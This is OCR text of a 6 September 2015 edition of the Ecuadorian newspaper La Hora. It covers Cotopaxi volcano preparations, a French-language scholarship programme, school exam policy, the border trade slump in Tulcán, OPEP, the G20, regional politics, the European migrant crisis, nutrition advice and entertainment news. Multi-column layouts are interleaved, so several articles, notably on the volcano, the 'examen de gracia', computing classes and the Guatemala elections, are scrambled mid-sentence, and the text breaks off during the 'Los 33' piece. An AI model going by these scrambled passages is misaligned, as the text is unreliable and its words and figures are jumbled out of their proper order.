mediciones que ayuden a electricidad situada en Mu- Atención en zonas afectadas evaluar el avance del proceso laló, hacia el sur del volcán. Las acciones efectuadas por Dichas autoridades han revi- otras instituciones del Estaeruptivo”. sado los planes de con- do han incluido la atención También indica que tingencia, que inautoridades de los mi- EL DATO al ganado de varias cluyen “medidas nisterios Coordinador zonas afectadas por necesarias ante de Seguridad y de Secla ceniza, mientras 3 una posible ametores Estratégicos efec- Cotopaxi, que la Secretaría de MIL Pichincha y tuaron recorridos por Napo se encuen- naza” natural, pobladores de Gestión de Riesgos y participaen la zona con el objetivo de Mulaló obras de protección de tran ron en el último el Ministerio de Salud de influencia tuberías petroleras en el cercana del vol- proteger la gene- simulacro de eva- han entregado mascacuación. cán, por cuya norte de la montaña, así actividad se ha ración y la transrillas a habitantes del declarado alerta misión de energía como de una subesta- amarilla. barrio Aláquez, situaeléctrica. ción de transmisión de do al sur del Cotopaxi.

ECUADOR Y FRANCIA, A 280 AÑOS DE LA MISIÓN GEODÉSICA PROGRAMA PEDRO VICENTE MALDONADO En 2016 se celebrará la tercera Misión Geodésica Francesa. Desde la primera misión, que determinó la Latitud Cero en Ecuador, los vínculos son muchos, especialmente en el ámbito educativo. Este año, la SENESCYT y la Alianza Francesa de Quito firmaron un convenio para la implementación de un proyecto de nivelación en francés del Grupo de Alto Rendimiento (GAR). El GAR está conformado por estudiantes que han obtenido los mejores resultados en el examen nacional de ingreso a la universidad, los cuales reciben una beca por parte de la SENESCYT para la realización de sus estudios superiores en Ecuador o en el extranjero. Antes, solo se proponía una formación en inglés y en ciencias al 85% de los integrantes del GAR que decidían estudiar en el extranjero.

Desde mayo de 2015, 14 estudiantes que integran el primer grupo del ambicioso programa de cooperación educativa entre Francia y Ecuador ‘Pedro Vicente Maldonado’ (nombre del primer ecuatoriano miembro de la Academia de Ciencias de París), siguen los cursos en la Alianza Francesa de Quito. El programa propone una nivelación en francés de 1100 horas en un periodo de ocho meses. La formación incluye el aprendizaje del francés con certificación internacional por parte de la Alianza Francesa; una nivelación en matemáticas, química, biología y física, dictada por profesores de La Condamine; una formación en ciudadanía e interculturalidad; un seguimiento psicológico y emocional personalizado; así como un apoyo de la oficina de promoción de los estudios en Francia, Campus France.

Este mes, la séptima promoción del Grupo de Alto Rendimiento (GAR) que ha elegido la nivelación en francés, ha empezado la formación académica en ciencias. Los estudiantes que aplicarán a universidades francesas viajarían en septiembre de 2016. Ellos se sumarán a los 500 estudiantes ecuatorianos que actualmente se encuentran estudiando en ese país. En la lista de excelencia de la Senescyt, constan los nombres de 17 establecimientos franceses de enseñanza superior. Alianza Francesa de Quito http://www.afquito.org.ec/ facebook.com/alianzafrancesaquito Embajada de Francia en Ecuador www.ambafrance-ec.org/-Espanolfacebook.com/embajadadefranciaenecuador

El examen de gracia va a evaluación

PAÍS I

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Profesores, estudiantes y padres no están de acuerdo que el examen sea después de iniciado el año lectivo.

Los estudiantes que se quedaron nos la calificación mínima en el en una materia tienen alrededor examen de gracia. El modelo es cuestionado por de un mes para prepararse para el examen de gracia, que se rinde los profesores, confesó Espinosa luego de una reunión que mana finales de septiembre. Mientras tanto seguirán en tuvo con ellos. Al momento está clases, realizarán los deberes y previsto hacer una reforma para tendrán otras evaluaciones sin que esta prueba se aplique antes saber con certeza si permanece- del inicio de clases. Espinosa no rán en el nivel en el que están o si especificó la fecha para este cambio. deben regresar al anterior. El Ministerio de Educación todavía no da a conocer Incertidumbre cuántos alumnos tendrán EL DATO Sergi Suárez (17) se queque rendir la prueba, pero dó en Inglés. Ingresó a según su titular, Augusto tercero de bachillerato 91% de los Espinosa, será un número El estudiantes de la en el colegio Manuela Costa aprobaron Cañizares de Quito y tensimilar al de la Costa. año sin probleEn el período 2014- el drá que prepararse para mas y el 7% se quedó en suple- el examen de gracia. 2015, el 1% de los alumtorios. nos rindió el remedial Su madre, Marta Sun(segunda oportunidad); taxi, no está de acuerdo sin embargo, el Ministro no es- con que esta evaluación se aplipecificó cuántos de ese porcen- que una vez iniciado el año. “Es taje finalmente tuvieron que frustrante para el estudiante y dar el de gracia. para la familia”, comentó. Esa evaluación está vigente Si bien reconoce que su hijo es desde la aplicación del regla- responsable por no pasar el año, mento a la Ley Orgánica de Edu- cree que la metodología que aplicación Intercultural (LOEI), que ca el Ministerio es inadecuada ingresó en el Registro Oficial el porque los estudiantes reciben 26 de julio de 2012 y que se ha nuevas materias y calificaciones, reformado en tres ocasiones. se les entrega los libros corresEl Art. 214 establece que pondientes a ese año y existe un cuando un estudiante reproba- esfuerzo de profesores y alumse un remedial de una sola asig- nos que podría resultar en vano. natura “podrá asistir al grado o “Es pérdida de tiempo. No es un curso siguiente de manera tem- mecanismo adecuado”, acotó. poral”, hasta que obtenga al meAngie Sornoza (14) tuvo que

CLASES. Los estudiantes de la Sierra y Amazonía retornaron a las aulas.

pasar por esa experiencia el año lectivo 2013-2014. Se quedó en Matemáticas cuando ingresaba a noveno de educación básica. “Deberíamos dar los exámenes antes de entrar porque que nos regresen después de un mes es perder clases en el otro curso”, dijo. Juan Carlos Rojas, profesor de Ciudadanía y Economía en tercero de bachillerato del colegio Simón Bolívar de Quito, ratificó que conversaron con el Ministro sobre el tema. “Se dan muchas oportunidades y prácticamente nosotros tenemos que justificar

Afectaciones sicológicas y emocionales estudiante que rinde un examen de gracia y pierde el año, por lo que tiene °queElretornar al anterior después de estar un mes en clases, padece de “vergüenza y estigma”, explicó el terapeuta familiar Pablo García, quien considera que una de las consecuencias es la disminución de la autoestima. “Existe un desgaste fuerte, familiar e individual”, explicó sobre las tres oportunidades que tienen los alumnos para pasar el año. Además, comentó que no se sostiene la consecuencia o el “escarmiento” porque el alumno aspira obtener la nota mínima o alcanzar el puntaje hasta la tercera oportunidad. “El método no es muy efectivo, porque se terminan quedando los mismos. No se ha hecho una revisión adecuada de los impactos”, agregó García, quien considera que el examen debería ser antes de empezar el año lectivo.

por qué un estudiante perdió el año”, comentó. De lo que él conoce, posiblemente para el

próximo año se elimine el examen de gracia. Espinosa tendrá que confirmarlo. (AGO)

Computación no es una materia en el currículo La modalidad de combinar El aprendizaje sobre el uso de las tecnologías, que va más allá las materias con la tecnología de conocer cómo funciona una es nueva, confirmó Fabián Cacomputadora y sus programas rrera, vicerrector del instituto básicos, se realizará a través de superior Luis Napoleón Dillon, en Quito. Hasta hace tres la enseñanza de otras maaños, los estudiantes de terias en las escuelas y co- EL DATO octavo, noveno y décilegios públicos. mos de básica recibían Dentro de la malla cuprimero de dos horas semanales de rricular vigente, que se Solo bachillerato aplica para este año lec- tiene en la malla computación. materia Esto se lo hacía bajo la tivo en la Sierra y Ama- una denominada zonía y que es usado en ‘Informática apli- asignatura de educación cada a la educaestética, que lo dividían la Costa, se establece a la ción’, según en la entre arte y tecnología. Sin informática y a las tecno- consta página web del embargo, tras una disposilogías como “un compo- Ministerio. ción del Ministerio fue sunente obligatorio dentro de las distintas materias”, con- primida y se convirtió en un club firmó el ministro de Educación, el año pasado. Para el período 2015-2016 se Augusto Espinosa. Los estudiantes de educación utilizarán las cuatro materias general básica, de primero a dé- básicas: Lengua y Literatura, cimo, no tienen ninguna materia Matemáticas, Ciencias Sociales dedicada exclusivamente a com- y Ciencias Naturales para vinputación. Lo mismo ocurre para cularlas con Informática. En el segundo y tercero de bachillerato. bachillerato técnico se usarán las

asignaturas de Emprendimiento e Índices Financieros con el mismo propósito. Los profesores tienen la obligación de utilizar con sus alumnos una vez por semana los laboratorios de computación en el Dillon. Cómo funciona

El uso de las computadoras y las clases del profesor no se restringen a conocer el funcionamiento de las hojas de texto y de cálculo o a ingresar a Internet, como ocurría años atrás. El maestro enseña a sus estudiantes a utilizar herramientas tecnológicas basadas en la materia, especialmente para investigar, explicó Carrera. “En el pasado, cuando no había una familiarización de la tecnología había que enseñarles, por ejemplo, para qué sirve el teclado”, dijo Espinosa. El vice-

ESTUDIO. Los alumnos se reúnen en el laboratorio de informática para investigar.

rrector reconoce, inclusive, que los estudiantes tienen, en ciertos casos, mejor manejo de la tecnología que los maestros. “Los profesores tienen la obligación de usar las computadoras y son los que instruyen a los estudiantes en el uso de aplicación específicas”, añadió el Ministro, quien agregó que en las horas de clubes, que son tres semanales, se pueden crear proyectos tecno-

lógicos para los estudiantes que “quieran desarrollar mayores habilidades”. Anita M., de primero de bachillerato del Dillon, todavía no sabe exactamente cómo será su horario de clases con este cambio. Para ella todavía es importante que se enseñe a manejar la tecnología, porque hay estudiantes que no dominan los recursos tecnológicos. (AGO)

La caída comercial en Tulcán podría llegar al 50%

EFECTIVO B6

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

META. El objetivo es estabilizar el precio del crudo.

Maduro propone cumbre de OPEP con otros productores petroleros CARACAS, EFE • El

presidente venezolano, Nicolás Maduro, propuso ayer a la Organización de Países Exportadores de Petróleo (OPEP) una cumbre de jefes de Estado con las naciones productoras de crudo no asociadas al organismo, en busca de estrategias que permitan la “estabilización” de los precios del crudo. “Creo necesaria una cumbre de jefes de Estado de la OPEP y hemos propuesto que sean invitados países productores de crudo que no pertenezcan a la organización”, dijo en declaraciones a la emisora Telesur con sede en Caracas. El gobernante de Venezuela, nación que con tres millones de barriles diarios es la quinta mayor productora mundial de crudo, dijo que ya escribió “a todos los jefes de Estado de la OPEP” con ese objetivo y les presentó algunas “ideas para la estabilidad del mercado”. “La exigencia energética del mundo crece a diario y la inestabilidad (de los precios) perjudica a los productores”, argumentó y propuso que esos acuerdos deben lograr “un piso mínimo de 70 dólares” por barril. “Las inversiones energéticas deberían tener un piso y un techo. La demanda es cada vez mayor. El petróleo a 40 o 50 dó-

Morales llama a ‘ajustarse los cinturones’ °

El presidente de Bolivia, Evo Morales, advirtió ayer sobre “problemas económicos” en su país por el desplome de los precios internacionales del petróleo, y llamó a los bolivianos a ‘ajustarse los cinturones’. “Lamentablemente, por la rebaja del precio del petróleo, estoy seguro que este año o el próximo año vamos a tener problemas económicos”, dijo en un acto público en la universidad estatal de Pando. LA PAZ, AFP

lares no sostiene inversiones”, explicó. El precio del barril de crudo venezolano registró esta semana una media de 42,66 dólares, en tanto que el de la cesta de la OPEP, organismo del cual Venezuela es miembro fundador, se situó en 46,57 dólares. El mercado mundial de compraventa de crudos “debe recuperar estabilidad a corto y mediano plazo” y en ese empeño los países del cartel deben buscar acuerdos con países “que no pertenecen a la OPEP”, como es el caso de Rusia, insistió.

El fortalecimiento del dólar y la devaluación del peso son factores que influyen. La devaluación del peso colombiano frente al dólar está teniendo consecuencias graves para muchos sectores productivos del norte de Ecuador, que desde hace meses ha visto menguar sus ventas a la par que aumenta el flujo de compradores que cada día se dirigen a Colombia. Tras estimar que 35% de 3.200 comercios han cerrado durante los últimos meses, el presidente de la Cámara de Comercio del Carchi, Nelson Cano, dijo que ve “bastante compleja” la situación económica de su provincia y afirma que un 15% de los comercios restantes lleva a cabo inventarios, por lo que la caída de la actividad comercial podría llegar al 50% y pide más medidas de apoyo, como la apertura de líneas de crédito con tasas de interés preferenciales. Según Cano, quien cita datos de la Cámara de Comercio de Ipiales (Colombia) de lunes a jueves entran más de 500.000 dólares diarios en el país vecino a través de estas ventas, ya que cada día pasan a territorio de Colombia entre 16.000 y 20.000 vehículos, mientras que de viernes a domingo lo hacen 17.000. Cano afirma que por las calles de Tulcán se ven más rótulos de “se arrienda”, pues muchos comerciantes llegados a la provincia en momentos de prosperidad económica están cerrando ahora sus negocios.

QUITO, EFE •

SITUACIÓN. El cierre de locales comerciales es un tema que sigue preocupando en Carchi.

Medidas frente a la crisis

Carchi y en particular Tulcán han sido los más afectados por el problema, que esta semana llevó al Gobierno a pedir a los ecuatorianos que adopten “una actitud patriótica” y compren productos nacionales para fortalecer la economía. Junto a esto y también para frenar la salida de dólares, se ha puesto en marcha en esa provincia medidas como exoneraciones fiscales, incentivos tributarios a la generación de empleo y facilidades para la refinanciación de deudas a través de entidades públicas. El dólar frente al peso

El fenómeno coincide con el fortalecimiento del dólar, que en la actualidad se cambia a cerca de 3.100 pesos colombianos, lo que favorece a los ciudadanos de un país dolarizado. El Gobierno viene adoptando desde hace meses medidas para hacer frente a este choque, que se complica más por la caí-

Análisis ° El economista Jaime Carrera, director del Observatorio de

Política Fiscal de Ecuador, piensa que las exportaciones no petroleras no pasan por un buen momento, que las remesas de los ecuatorianos en el exterior están bajando y que tampoco hay mucho margen para el endeudamiento exterior del Estado, extremos que niega el Gobierno. En su opinión, una solución sería una mejora de la productividad a menores costos, “pero eso es tarea de largo plazo”, por lo que solo se puede esperar “que el dólar se vuelva a debilitar para que el peso (colombiano) se aprecie” y deje de ser tan atractivo cruzar la frontera para ir “de compras”.

da del precio del petróleo. Medidas como recortes de más de 2.000 millones en el presupuesto nacional y la aplicación de salvaguardias aduaneras a cerca de un tercio de las importaciones tratan de hacer frente a un impacto derivado de una situación cuya solución no parece fácil.

G20 considera insuficiente el crecimiento mundial El G20 consideró ayer insuficiente el crecimiento mundial, en un contexto de preocupación por la ralentización económica de China, pero se comprometieron a coordinar su política monetaria y cambiaria. “El crecimiento mundial está por debajo de nuestras expectativas”, afirma un borrador del comunicado final de la reunión que durante dos días sostuvieron en Ankara los ministros de Finanzas y directores de bancos cen-

ANKARA, AFP •

trales de ese grupo de potencias industrializadas y emergentes. “Nos hemos comprometido a adoptar medidas decisivas para que el crecimiento se mantenga encaminado y confiamos en que la reactivación económica se acelerará”, afirma el documento. El G20 prometió además “abstenerse de cualquier devaluación competitiva”, un mensaje para China cuya reciente devaluación del yuan conmmocionó a los mercados financieros mundiales en las últimas semanas.

“Reiteramos nuestro compromiso de avanzar hacia sistemas cambiarios determinados por el mercado y la flexibilidad de las tasas cambiarias”, subraya el proyecto de declaración final. El grupo de 20 países, que supone el 85% de la economía mundial, anima por último a los países ricos a “ampliar sus esfuerzos de financiación” en la lucha contra el calentamiento climático, con vistas a la conferencia internacional que se celebrará a finales de año en París.

CITA. Los representantes de los 20 países más ricos se reunieron en Ankara.

GLOBAL

Sesión de conclusiones del juicio a Leopoldo López pospuesta hasta el 10 de septiembre

CARACAS, EFE• La sesión de conclusiones del juicio al dirigente opositor venezolano Leopoldo López, en la que su defensa esperaba que se anunciase su senten-

cia, fue pospuesta para el próximo jueves, 10 de septiembre, informó ayer la esposa del político encarcelado, Lilian Tintori. En declaraciones a los periodistas, explicó que la audiencia se suspendió, tras una maratoniana sesión, sin que hubiera comenzado aún la declaración final de López, que tendrá lugar el jueves. “Estamos saliendo con una admiración increíble por el abogado de Leopoldo López, Juan Carlos Gutiérrez, quien hoy pudo hablar durante tres horas para defender el caso y fue admirable”.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

2.400 fiscales garantizarán votación libre en Guatemala na diferentes centros de votación blico de Guatemala informó ayer en Guatemala, la ciudad colonial del desplazamiento de 2.400 fis- de Antigua y el departamento cales auxiliares y oficiales para occidental de Chimaltenango garantizar el libre ejercicio al para verificar el trabajo de los voto en los comicios generales fiscales. Estas acciones se enmarcan del país centroamericano. El fiscal Óscar Shaad explicó en el Plan Operativo del Minisque el objetivo de este plan es ve- terio Público para el ejercicio de rificar que los guatemaltecos no su función constitucional duransean coaccionados a votar por te las elecciones de 2015. determinado candidato, ni que reciban dinero a EL DATO Los comicios cambio o se viole el secreCerca de 7,5 millones de to al sufragio, entre otras Las autoridades guatemaltecos están conque resulten irregularidades. vocados a las urnas para tomarán Shaad dijo que los ciu- electas posesión para un elegir presidente, vicedadanos que hoy acudan periodo de cua- presidente, 158 diputados tro años el 14 de a las urnas podrán de- enero de 2016. al Congreso, 20 al Parlanunciar cualquier anomento Centroamericano malía a los fiscales que esy 338 corporaciones mutarán en los centros de votación. nicipales. Los fiscales, que estarán La primera magistratura del acompañados de delegados de la país se la disputarán 14 candidaProcuraduría de Derechos Hu- tos y si ninguno obtiene el 50 % manos, verificarán también el más un voto, habrá una segunda estricto cumplimiento de la Ley vuelta electoral el próximo 25 de durante el proceso. octubre entre los dos aspirantes Shaad aseguró que los fun- con más sufragios. cionarios están facultados para El nuevo presidente de Guarealizar una investigación de las temala, Alejandro Maldonado, denuncias que se les presenten convocó a los ciudadanos empadurante el proceso. dronados a acudir masivamente La jefa del Ministerio Público, a las urnas para elegir a las nueThelma Aldana, visitará maña- vas autoridades del país.

GUATEMALA, EFE •El Ministerio Pú-

RECORRIDO. Luis Almagro, secretario general de la Organización de Estados Americanos (OEA), visitó albergues en Cúcuta.

Secretario de la OEA visita frontera colombo-venezolana Se estima que la crisis entre ambos países ha dejado a unos 16.500 colombianos afectados. BOGOTÁ, AFP • El secretario gene-

“Estamos en el terreno, asistiendo a la gente, y seguimos impulsando el diálogo directo” entre gobiernos para resolver la situación, añadió.

ral de la Organización de Estados Americanos (OEA), Luis Almagro, visitó ayer la frontera entre Colombia y Venezuela en medio de la crisis EL DATO entre ambos países, que Recuento deja más de 16.500 co- La visita del La crisis fronteriza colombianos afectados, en- secretario de la menzó el 19 de agosto con se produce el cierre de una parte de tre deportados y quienes OEA luego de que el huyen por temor a serlo. organismo recha- la frontera por Maduro, el lunes la Almagro visita la ciu- zara tras un ataque a militasolicitud de dad fronteriza de Cúcu- Colombia de con- res venezolanos durante vocar una cita ta, adonde han llegado extraordinaria de una operación anticonla mayoría de los damni- cancilleres. trabando, que el mandaficados, en compañía de tario atribuyó a “paramila canciller colombiana, María litares colombianos”. Ángela Holguín, y el ministro de Entre los damnificados hay Interior, Juan Fernando Cristo, al menos 1.355 colombianos derespondiendo a una invitación portados y más de 15.000 que del alcalde local que estuvo esta han huido de Venezuela por semana en Washington. miedo a ser expulsados sin sus Según la agenda difundida familias o enseres, según datos por el Gobierno colombiano, divulgados el viernes por las el Secretario de la OEA estará Naciones Unidas. en varios albergues de la zona, La tensión aumentó hace en el puente internacional que una semana, cuando los dos une Cúcuta con la ciudad ve- países llamaron a consultas a nezolana de San Antonio del sus embajadores en medio de Táchira y que se encuentra ce- denuncias de violaciones de rrado desde hace tres semanas los Derechos Humanos de los por decisión del presidente ve- afectados. nezolano, Nicolás Maduro. Ambos países comparten En una entrevista con el dia- una porosa frontera de 2.219 rio colombiano El Tiempo, Al- km, en la que denuncian la acmagro aseguró que “en esta vi- tividad de grupos irregulares sita velamos por los Derechos que lucran con el contrabando Humanos y el Derecho Huma- de combustible y otros producnitario”, con especial atención a tos altamente subsidiados por los niños afectados. el Gobierno venezolano.

Ecuador gestiona cita bilateral °

El presidente, Rafael Correa, reveló ayer que está gestionando una cita bilateral entre los mandatarios de Colombia y Venezuela para que resuelvan la crisis migratoria y política desatada por el cierre fronterizo y las deportaciones de colombianos dispuestas por Caracas. Mientras tanto, el presidente venezolano, Nicolás Maduro, aseguró ayer que está listo para mantener un encuentro “cara a cara” con su homólogo colombiano, Juan Manuel Santos.

PROCESO. Las elecciones se darán luego de la salida del presidente Otto Pérez. En la gráfica se puede ver uno de los cierres de campaña.

Dirección: Anillo Vial, a dos cuadras de la Policía Nacional Visítanos en: www.hotelgoldenvista.com Reservaciones: 022 746 250 / 2752 924 / 099 449 0930 SANTO DOMINGO- ECUADOR

Habitaciones Simples, Dobles, Triples, Matrimoniales y Suites Habitaciones con Aire Acondicionado, Tv Cable, Teléfono, Wi - Fi

GLOBAL B8

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Detalles

Crisis humanitaria

° Los países de la UE están bajo presión para dar muestras de solidaridad después de que más de 366.000 personas cruzaran el Mediterráneo en lo que va de año, y que más de 2.800 murieran en el intento, según la ONU. ° El Alto Comisionado de la ONU para los Refugiados, Antonio Guterres, instó el viernes al reparto de al menos 200.000 solicitantes de asilo en la Unión Europea. La víspera, la Comisión Europea había propuesto el reparto de 120.000. ° Una pequeña ONG de malta Moas recaudó 1,5 millones de euros de donaciones en menos de tres días, frente a un máximo de 10.000 euros por día antes.

ACOGIDA. Ayer se esperaba que más de mil personas durmieran en una estación de trenes de Viena.

Migrantes llegan a Austria y Alemania El éxodo de personas solo se puede comparar con el ocurrido al final de la Segunda Guerra Mundial.

NICKELSDORF, AUSTRIA, AFP • Miles de migrantes llegaban ayer a Austria y Alemania procedentes de Hungría, en medio de unas escenas caóticas insólitas en Europa desde hace setenta años. “Estamos frente a una situación dramática. No es una emergencia, es algo que durará”, estimó la jefa de la diplomacia europea, Federica Mogherini, tras una reunión de ministros de Exteriores de la Unión Europea (UE) en Luxemburgo. “Cuanto antes lo aceptemos más rápido podremos responder de manera efectiva”, añadió.

Éxodo y acogida

Al menos 500 personas bloqueadas en Hungría desde hace varios días emprendieron una caminata hacia la frontera austríaca, a 175 km. El viernes hicieron otro tanto unos 1.200 migrantes, lo que obligó a las autoridades húngaras a conducir a

miles más en autobús a la frontera. Sin embargo, este sábado la Policía de Hungría anunció que no se fletarán más autobuses para los migrantes. Austria preveía la llegada de 10.000 inmigrantes sólo este sábado, de los cuales muchos seguirán su ruta hacia Alemania, que espera el arribo de unos 7.000. Ambos países han dado su acuerdo para acogerlos. “Estoy en la frontera con Hungría y miro lo que pasa. El flujo de personas continúa”, contó Hans Peter Doskozil, jefe de la Policía del Estado de Burgenland (este de Austria), describiendo un éxodo que no se veía en Europa desde el final de la Segunda Guerra Mundial. ‘Lejos de terminarse’

Austria contabilizaba la tarde del viernes la llegada de 6.500 migrantes. En la estación de Viena, los recién llegados, envueltos en

mantas, y algunos con niños dormidos en los brazos, fueron acogidos por numerosos voluntarios que acudieron con comida, bebidas, jabones y billetes de tren. “Me duelen los dedos de los pies, me están sangrando. Hemos caminado demasiado. Quiero ir hasta Alemania, pero ahí me paro”, contó en Viena un sirio de 26 años, originario de Homs (centro), con los pies vendados. En Alemania, cientos de migrantes llegaron a la estación de Múnich este sábado, y fueron de inmediato trasladados a centros de acogida en la ciudad. Se espera la llegada de otros trenes en Fráncfort (oeste) y en Turingia (centro). La canciller alemana Angela Merkel aseguró que buscará mantener el equilibrio presupuestario, pese al costo que representa la acogida de refugiados. El diario Frankfurter Allgemeine Zeitung evalúa este costo a 10.000 millones de euros para 2015, cuatro veces más que el año pasado. Solidaridad y críticas

En París, miles de personas salieron a las calles este sábado

para reclamar la apertura de las fronteras para los refugiados que huyen en masa desde Siria y otras regiones en guerra. “Después de innumerables ejemplos de tratamiento vergonzoso a los refugiados y los migrantes por parte de los gobiernos de Europa, alivia ver al fin un poco de humanidad. Pero esto está lejos de haber acabado, en Hungría y en Europa”, advirtió un responsable de Amnistía Internacional. El Ministro húngaro de Relaciones Exteriores, a cuyo país llegaron más de 50.000 migrantes en agosto, se defendió este sábado de las críticas. “Lo que ha sucedido en Hungría desde la noche pasada es para empezar la consecuencia del fracaso de la política migratoria de la UE”, dijo Peter Szijjarto. Según él, tienen también la culpa “las declaraciones irresponsables” de Alemania, que anunció que ya no expulsará a los refugiados sirios al país por el que entraron en la UE. ‘Desorden’ en Europa

Mientras tanto, siguen llegando

EXPRESIÓN. Miles de europeos se movilizaron para que se abran las fronteras y se dé una respuesta a la crisis humanitaria.

cientos de inmigrantes a las islas griegas del Egeo oriental desde las costas de Turquía, según el Ministerio de la Marina. En la isla de Lesbos, que recibe la mitad de ese flujo, hubo breves incidentes entre la Policía y los refugiados, que protestaban ante su centro por la lentitud de su inscripción, previa a su partida hacia Atenas, según imágenes de la televisión griega. En el terreno diplomático, el ministro austríaco de Relaciones Exteriores, Sebastian Kurz, pidió a la Unión Europea (UE) que “abra los ojos” ante la crisis migratoria, que ha creado un gran “desorden” en el continente.

P37400/ai/a/kc

VIDA LIGHT

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR

Buen humor, excelente salud Según datos de la Organización Mundial de la Salud (OMS), más de 350 millones de personas en el mundo sufren depresión. Ahora, una nueva investigación revela que el tener amigos mentalmente saludables y habitualmente de buen humor puede ayudar a alguien a recuperarse de la depresión o incluso contagiarse de su buen estado de ánimo.

Adecuada nutrición, aliada del buen descanso Alimentos y nutrientes debidamente combinados son una gran ayuda para conciliar el sueño. Las horas de descanso son importantes para desempeñarse de forma efectiva a lo largo del día y la nutrición juega también un papel fundamental a la hora de dormir, según señala Kristin Kirkpatrick, del instituto Wellness de la clínica Cleveland. La comida se asocia directamente con la serotonina, una hormona clave que, junto a la vitamina B6, B12 y el ácido fólico, promueve un sueño saludable. “Intenta consumir alimentos que calmen al organismo, aumenten los niveles de serotonina y te ayuden a conseguir un sueño reparador”, aconseja Kirkpatrick. Recuerde que los nutrientes guardan muchas propiedades, solo hace falta combinar los ingredientes naturales precisos para ayudar al organismo a que funcione apropiadamente y usted tenga un gran relax. Unas cuantas sugerencias

Los hidratos de carbono complejos (no los simples, es decir los

refinados), que son los productos integrales como panes, cereales, pasta y galletas, aumentan los niveles de serotonina y benefician al sueño. El queso bajo en grasas, el pavo, el pollo y el pescado cocinados, al horno o al vapor, forman parte de las proteínas magras, que son altos en el aminoácido triptófano y tiende a aumentar los niveles de serotonina. No se recomienda el consumo de productos fritos porque tardan más en digerirse y pueden mantenerle despierto. También están las grasas saludables para el corazón, se trata de las insaturadas. No únicamente fortalecen la salud cardiaca, sino que además mejoran los niveles de serotonina. Los ejemplos incluyen a la mantequilla de cacahuete (pero que estos sean su único ingrediente) y frutos secos como las nueces, las almendras y los pistachos. Liquido adecuado

Una buena bebida para tomar

TRASCENDENTAL. Dormir bien es un gran placer. Ayuda a tener energías y ser más positivo y productivo.

Aperitivos efectivos °

Kristin Kirkpatrick, del instituto Wellness de la clínica Cleveland, propone algunos bocadillos que podrían ayudar a conciliar el sueño. Entre las múltiples opciones están el plátano con yogur desnatado, el queso fresco bajo en grasas con crujientes de pan de pita integral o galletas saladas 100% integrales untadas con mantequilla de cacahuete.

Detalles

Lo que debe saber

° Hay que evitar los fritos. No consuma en la noche los pimientos °rojos. Estos tienen un efecto estimulante. antes de ir a dormir es un vaso templado de leche o una infusión de hierbas como la manzanilla. En lo que se refiere a las que contienen cafeína, Kirkpatrick recomienda a quienes tengan problemas de sueño que ingieran la última taza a las 14:00. “La cafeína afecta de forma dis-

RECUERDE. Los malos hábitos en la alimentación y en la vida diaria no contribuyen a tener un buen descanso.

tinta a cada persona e incluso la más pequeña cantidad de un estimulante puede mantenernos despiertos”, explica. Pero las hierbas aromáticas frescas pueden tener un efecto calmante sobre el organismo. Así, la salvia y la albahaca con-

tienen componentes químicos que reducen la tensión y originan el sueño. Una gran opción es preparar la salsa para la pasta con salvia y albahaca; las versiones caseras tienen menos azúcar que las del supermercado. (20MINUTOS.ES)

RECETAS Aproveche Comprar frutas y verduras de temporada es beneficioso para su salud y su economía. Estar pendiente de la producción de cada época ayudará a saber qué se encuentra con facilidad en el mercado. Para los expertos en gastronomía, las frutas y las verduras frescas tienen mejor sabor y textura.

El té verde Es una de las infusiones que más se recomiendan para perder peso, pero también ayuda mucho a depurar el organismo y prevenir tumores. También es beneficioso para mantener bien la tensión arterial y reducir los problemas crónicos relacionados con el sistema circulatorio.

El vino Estudios sugieren que el vino tinto es bueno para el corazón debido a los antioxidantes que posee como los polifenoles rojos y el resveratrol, que pueden ayudar a proteger el revestimiento de los vasos sanguíneos, evitar el colesterol LDL (colesterol malo) y prevenir la formación de coágulos.

CYAN MAGENTA YELLOW BLACK

TEMPO B10

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR

Éxito de taquilla en Chile ‘LOS 33’

MINUTERO Insiste en ser soltero

MÉXICO • Enrique Iglesias °declaró que las relaciones per-

fectas no existen, y que el matrimonio para él no es necesario. El cantautor declaró al Daily Express: “Pasas por momentos malos y buenos, es difícil pensar en una relación perfecta, no creo que exista”. Iglesias vive con Anna Kournikova desde 2001, sin embargo, hasta el momento no han contraído matrimonio. LA BOTANA

La sedujo en la ducha Christine Ouzounian está °más que dispuesta a reve-

lar secretos íntimos de Ben Affleck, a cambio de buenas cantidades de dinero. La revista OK! tiene de portada a la famosa niñera que acabó con el matrimonio del actor con Jennifer Garner, pesadilla que parece no terminar todavía. La mujer de 28 años revela que el actor la sedujo en la ducha, y promete confesar más intimidades de su relación y de la vida familiar de la pareja de actores. AGENCIAS

Baila por los animales MÉXICO • Pamela Anderson °abanderará las causas de

su fundación a favor de los animales, y bailará con quien pague 7.500 dólares. La actriz y modelo asistirá a un evento en marco del Foro Económico de Vladivostok, en Rusia, donde recaudará fondos para su fundación que trabaja contra la caza furtiva y la venta ilegal de animales salvajes. Los asistentes al evento que quieran bailar con Anderson, estrella del programa ‘Guardianes de la Bahía’, tendrán que preparar su billetera para aportar a esa noble causa que ella encabeza desde hace tiempo. LA BOTANA

REALIDAD. Antonio Banderas (c) es uno de los protagonistas de esta historia que conmovió al mundo.

El drama, basado en una historia real, superó en venta de boletos a varios filmes internacionales. •La película denunció cómo las grandes cor‘Los 33’, que se estrenó el jueves poraciones se han aprovechado en salas chilenas y también en de los protagonistas reales de la teatros ecuatorianos, ya se trans- tragedia. “La película es una lección de formó en un éxito de taquilla con casi 250 mil espectadores en 140 humanidad y muestra que cuando la gente se une con un objetipantallas del país araucano. Según el comunicado oficial, vo común, se logran muchas cola cinta ya superó en recauda- sas”, resaltó la cineasta de dicho ción a grandes estrenos inter- drama. El reconocido productor de nacionales como ‘Harry Potter’, ‘Iron Man’, ‘Transformers’ y cine estadunidense Mike Me‘Jurassic World’. De acuerdo a davoy le envió un guion de ‘Los aquel boletín oficial, la película 33’ a Riggen para que dirigiera el se convirtió en “el drama más largometraje sobre los mineros que quedaron atrapados visto de todos los tiema 700 metros bajo tierra, pos superando a películas EL DATO tras el colapso de la ramcomo ‘Cincuentas sombras de Grey’, ‘La pasión El próximo 13 de pa principal a la mina San José, ubicada en Copiapó, de Cristo’, ‘Bajo la misma 